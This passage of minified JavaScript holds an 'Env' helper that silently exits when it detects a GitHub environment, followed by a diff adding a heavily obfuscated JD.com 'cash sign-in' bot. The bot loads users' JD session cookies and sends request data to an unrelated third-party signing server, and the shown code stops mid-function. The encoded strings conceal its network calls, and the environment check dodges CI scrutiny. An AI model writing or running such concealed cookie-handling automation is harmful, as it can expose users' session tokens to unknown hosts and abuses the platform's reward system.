a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_cash_freesoul.js b/jd_cash_freesoul.js new file mode 100644 index 0000000..67d1850 --- /dev/null +++ b/jd_cash_freesoul.js @@ -0,0 +1,19 @@ +/* +签到领现金,每日2毛~5毛 +动物园版本的sign +活动入口:京东APP搜索领现金进入 +更新时间:2021-06-07 +#签到领现金 +无需指定定时,每天运行一次即可 +10 10 * * * jd_cash_freesoul.js + */ +const $ = new Env('签到领现金'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + + +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxe61ec=["","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E","\x69\x73\x4E\x6F\x64\x65","\x70\x75\x73\x68","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x4A\x44\x5F\x44\x45\x42\x55\x47","\x65\x6E\x76","\x66\x61\x6C\x73\x65","\x6C\x6F\x67","\x66\x69\x6C\x74\x65\x72","\x43\x6F\x6F\x6B\x69\x65\x4A\x44","\x67\x65\x74\x64\x61\x74\x61","\x43\x6F\x6F\x6B\x69\x65\x4A\x44\x32","\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x70","\x43\x6F\x6F\x6B\x69\x65\x73\x4A\x44","\x5B\x5D","\x64\x6F\x6E\x65","\x66\x69\x6E\x61\x6C\x6C\x79","\u274C\x20","\x6E\x61\x6D\x65","\x2C\x20\u5931\u8D25\x21\x20\u539F\u56E0\x3A\x20","\x21","\x63\x61\x74\x63\x68","\u3010\u63D0\u793A\u3011\u8BF7\u5148\u83B7\u53D6\u4EAC\u4E1C\u8D26\u53F7\u4E00\x63\x6F\x6F\x6B\x69\x65\x0A\u76F4\u63A5\u4F7F\u7528\x4E\x6F\x62\x79\x44\x61\u7684\u4EAC\u4E1C\u7B7E\u5230\u83B7\u53D6","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x6D\x73\x67","\x6C\x65\x6E\x67\x74\x68","\x55\x73\x65\x72\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x69\x6E\x64\x65\x78","\x69\x73\x4C\x6F\x67\x69\x6E","\x6E\x69\x63\x6B\x4E\x61\x6D\x65","\x2A\x2A\x2A\x2A\x2A\x2A\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7","\u3011","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A","\u3010\u63D0\u793A\u3011\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548","\u4EAC\u4E1C\u8D26\u53F7","\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x5C\x6E\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548\x20\x2D\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x73\x65\x6E\x64\x4E\x6F\x74\x69\x66\x79","\x72\x61\x6E\x64\x6F\x6D","\x77\x61\x69\x74","\x43\x41\x53\x48\x5F\x4E\x4F\x54\x49\x46\x59\x5F\x43\x4F\x4E\x54\x52\x4F\x4C","\x73\x69\x67\x6E\x4D\x6F\x6E\x65\x79","\x65\x78\x63\x68\x61\x6E\x67\x65\x42\x65\x61\x6E\x4E\x75\x6D","\x63\x61\x73\x68\x5F\x6D\x6F\x62\x5F\x73\x69\x67\x6E","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x63\x61\x73\x68\x5F\x6D\x6F\x62\x5F\x73\x69\x67\x6E\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x70\x61\x72\x73\x65","\x62\x69\x7A\x43\x6F\x64\x65","\x64\x61\x74\x61","\u7B7E\u5230","\x62\x69\x7A\x4D\x73\x67","\x6C\x6F\x67\x45\x72\x72","\x67\x65\x74","\x63\x61\x73\x68\x5F\x6D\x6F\x62\x5F\x68\x6F\x6D\x65","\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x63\x6F\x64\x65","\x72\x65\x73\x75\x6C\x74","\x74\x61\x73\x6B\x49\x6E\x66\x6F\x73","\x74\x79\x70\x65","\x64\x6F\x54\x69\x6D\x65\x73","\x74\x69\x6D\x65\x73","\u53BB\u505A","\u4EFB\u52A1\x20","\x2F","\x73\x6B\x75\x49\x64","\x70\x61\x72\x61\x6D\x73","\x6A\x75\x6D\x70","\x73\x68\x6F\x70\x49\x64","\x70\x61\x74\x68","\x75\x72\x6C","\x63\x61\x73\x68\x5F\x68\x6F\x6D\x65\x50\x61\x67\x65","\u5F53\u524D\u73B0\u91D1\uFF1A","\x74\x6F\x74\x61\x6C\x4D\x6F\x6E\x65\x79","\u5143","\x5C\x6E","\x0A\x0A","\u3010\u4EAC\u4E1C\u8D26\u53F7","\uFF08","\uFF09\u7684","\u597D\u53CB\u4E92\u52A9\u7801\u3011","\x69\x6E\x76\x69\x74\x65\x64\x43\x6F\x64\x65","\x73\x68\x61\x72\x65\x44\x61\x74\x65","\x70\x6F\x73\x74","\x63\x61\x73\x68\x5F\x64\x6F\x54\x61\x73\x6B","\u4EFB\u52A1\u5B8C\u6210\u6210\u529F","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x73\x69\x67\x6E\x2F\x67\x65\x74\x53\x69\x67\x6E","\x66\x6E\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x74\x79\x70\x65\x3D","\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x33\x5F\x32\x5F\x33\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x31\x33\x2E\x30\x2E\x33\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x20\x53\x61\x66\x61\x72\x69\x2F\x36\x30\x34\x2E\x31\x20\x45\x64\x67\x2F\x38\x37\x2E\x30\x2E\x34\x32\x38\x30\x2E\x38\x38","\x20\x67\x65\x74\x53\x69\x67\x6E\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x6B\x65\x65\x70\x2D\x61\x6C\x69\x76\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x4A\x44\x34\x69\x50\x68\x6F\x6E\x65\x2F\x31\x36\x37\x37\x37\x34\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x37\x2E\x31\x3B\x20\x53\x63\x61\x6C\x65\x2F\x33\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31","\x67\x7A\x69\x70\x2C\x20\x64\x65\x66\x6C\x61\x74\x65\x2C\x20\x62\x72","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x71\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x77\x78\x61\x70\x70\x2F\x70\x61\x67\x65\x73\x2F\x68\x64\x2D\x69\x6E\x74\x65\x72\x61\x63\x74\x69\x6F\x6E\x2F\x69\x6E\x64\x65\x78\x2F\x69\x6E\x64\x65\x78","\x4A\x44\x5F\x55\x53\x45\x52\x5F\x41\x47\x45\x4E\x54","\x55\x53\x45\x52\x5F\x41\x47\x45\x4E\x54","\x2E\x2F\x55\x53\x45\x52\x5F\x41\x47\x45\x4E\x54\x53","\x4A\x44\x55\x41","\x6A\x64\x61\x70\x70\x3B\x69\x50\x68\x6F\x6E\x65\x3B\x39\x2E\x34\x2E\x34\x3B\x31\x34\x2E\x33\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x34\x67\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x34\x5F\x33\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x3B\x73\x75\x70\x70\x6F\x72\x74\x4A\x44\x53\x48\x57\x4B\x2F\x31","\x7A\x68\x2D\x63\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x71\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x75\x73\x65\x72\x2F\x69\x6E\x66\x6F\x2F\x51\x75\x65\x72\x79\x4A\x44\x55\x73\x65\x72\x49\x6E\x66\x6F\x3F\x73\x63\x65\x6E\x65\x76\x61\x6C\x3D\x32","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E\x2C\x74\x65\x78\x74\x2F\x70\x6C\x61\x69\x6E\x2C\x20\x2A\x2F\x2A","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x71\x73\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x6D\x79\x2F\x6A\x69\x6E\x67\x64\x6F\x75\x2F\x6D\x79\x2E\x73\x68\x74\x6D\x6C\x3F\x73\x63\x65\x6E\x65\x76\x61\x6C\x3D\x32","\x72\x65\x74\x63\x6F\x64\x65","\x62\x61\x73\x65","\x6E\x69\x63\x6B\x6E\x61\x6D\x65","\u4EAC\u4E1C\u670D\u52A1\u5668\u8FD4\u56DE\u7A7A\u6570\u636E","\x6F\x62\x6A\x65\x63\x74","\u4EAC\u4E1C\u670D\u52A1\u5668\u8BBF\u95EE\u6570\u636E\u4E3A\u7A7A\uFF0C\u8BF7\u68C0\u67E5\u81EA\u8EAB\u8BBE\u5907\u7F51\u7EDC\u60C5\u51B5","\x73\x74\x72\x69\x6E\x67","\u8BF7\u52FF\u968F\u610F\u5728\x42\x6F\x78\x4A\x73\u8F93\u5165\u6846\u4FEE\u6539\u5185\u5BB9\x0A\u5EFA\u8BAE\u901A\u8FC7\u811A\u672C\u53BB\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];let cookiesArr=[],cookie=__Oxe61ec[0x0],message,allMessage=__Oxe61ec[0x0];const JD_API_HOST=__Oxe61ec[0x1];if($[__Oxe61ec[0x2]]()){Object[__Oxe61ec[0x5]](jdCookieNode)[__Oxe61ec[0x4]]((_0x898ax6)=>{cookiesArr[__Oxe61ec[0x3]](jdCookieNode[_0x898ax6])});if(process[__Oxe61ec[0x7]][__Oxe61ec[0x6]]&& process[__Oxe61ec[0x7]][__Oxe61ec[0x6]]=== __Oxe61ec[0x8]){console[__Oxe61ec[0x9]]= ()=>{}}}else {cookiesArr= [$[__Oxe61ec[0xc]](__Oxe61ec[0xb]),$[__Oxe61ec[0xc]](__Oxe61ec[0xd]),...jsonParse($[__Oxe61ec[0xc]](__Oxe61ec[0x10])|| __Oxe61ec[0x11])[__Oxe61ec[0xf]]((_0x898ax6)=>{return _0x898ax6[__Oxe61ec[0xe]]})][__Oxe61ec[0xa]]((_0x898ax6)=>{return !!_0x898ax6})};!(async ()=>{if(!cookiesArr[0x0]){$[__Oxe61ec[0x1b]]($[__Oxe61ec[0x15]],__Oxe61ec[0x19],__Oxe61ec[0x1a],{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe61ec[0x1a]});return};for(let _0x898ax8=0;_0x898ax8< cookiesArr[__Oxe61ec[0x1c]];_0x898ax8++){if(cookiesArr[_0x898ax8]){cookie= cookiesArr[_0x898ax8];$[__Oxe61ec[0x1d]]= decodeURIComponent(cookie[__Oxe61ec[0x1e]](/pt_pin=([^; ]+)(?=;?)/)&& cookie[__Oxe61ec[0x1e]](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[__Oxe61ec[0x1f]]= _0x898ax8+ 1;$[__Oxe61ec[0x20]]= true;$[__Oxe61ec[0x21]]= __Oxe61ec[0x0];message= __Oxe61ec[0x0]; await TotalBean();console[__Oxe61ec[0x9]](`${__Oxe61ec[0x22]}${$[__Oxe61ec[0x1f]]}${__Oxe61ec[0x23]}${$[__Oxe61ec[0x21]]|| $[__Oxe61ec[0x1d]]}${__Oxe61ec[0x24]}`);if(!$[__Oxe61ec[0x20]]){$[__Oxe61ec[0x1b]]($[__Oxe61ec[0x15]],`${__Oxe61ec[0x25]}`,`${__Oxe61ec[0x26]}${$[__Oxe61ec[0x1f]]}${__Oxe61ec[0x27]}${$[__Oxe61ec[0x21]]|| $[__Oxe61ec[0x1d]]}${__Oxe61ec[0x28]}`,{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe61ec[0x1a]});if($[__Oxe61ec[0x2]]()){ await notify[__Oxe61ec[0x2b]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x29]}${$[__Oxe61ec[0x1d]]}${__Oxe61ec[0x0]}`,`${__Oxe61ec[0x26]}${$[__Oxe61ec[0x1f]]}${__Oxe61ec[0x27]}${$[__Oxe61ec[0x1d]]}${__Oxe61ec[0x2a]}`)};continue}; await jdCash(); await $[__Oxe61ec[0x2d]](parseInt(Math[__Oxe61ec[0x2c]]()* 10000,10))}};if(allMessage){if($[__Oxe61ec[0x2]]()&& (process[__Oxe61ec[0x7]][__Oxe61ec[0x2e]]?process[__Oxe61ec[0x7]][__Oxe61ec[0x2e]]=== __Oxe61ec[0x8]:!!1)){ await notify[__Oxe61ec[0x2b]]($[__Oxe61ec[0x15]],allMessage)};$[__Oxe61ec[0x1b]]($[__Oxe61ec[0x15]],__Oxe61ec[0x0],allMessage)}})()[__Oxe61ec[0x18]]((_0x898ax7)=>{$[__Oxe61ec[0x9]](__Oxe61ec[0x0],`${__Oxe61ec[0x14]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x16]}${_0x898ax7}${__Oxe61ec[0x17]}`,__Oxe61ec[0x0])})[__Oxe61ec[0x13]](()=>{$[__Oxe61ec[0x12]]()});async function jdCash(){$[__Oxe61ec[0x2f]]= 0; await cash_homePage(); await $[__Oxe61ec[0x2d]](parseInt(Math[__Oxe61ec[0x2c]]()* 1000+ 1000,10));$[__Oxe61ec[0x30]]= 0; await cash_homePage(true); await $[__Oxe61ec[0x2d]](parseInt(Math[__Oxe61ec[0x2c]]()* 1000+ 1000,10))}function cash_mob_sign(){return new Promise((_0x898axb)=>{$[__Oxe61ec[0x3a]](taskUrl(__Oxe61ec[0x31],{"\x62\x72\x65\x61\x6B\x52\x65\x77\x61\x72\x64":1}),(_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x33]}`)}else {if(safeGet(_0x898axe)){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x35]]=== 0){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x37]}${_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x38]]}${__Oxe61ec[0x0]}`)}else {console[__Oxe61ec[0x9]](_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x38]])}}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb()}})})}function cash_mob_home(){return new Promise((_0x898axb)=>{$[__Oxe61ec[0x3a]](taskUrl(__Oxe61ec[0x3b]),async (_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x3c]}`); await $[__Oxe61ec[0x2d]](5000)}else {if(safeGet(_0x898axe)){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x3d]]=== 0&& _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]]){for(let _0x898ax10 of _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x3f]]){if(_0x898ax10[__Oxe61ec[0x40]]=== 4){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await doTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x46]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 2){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< 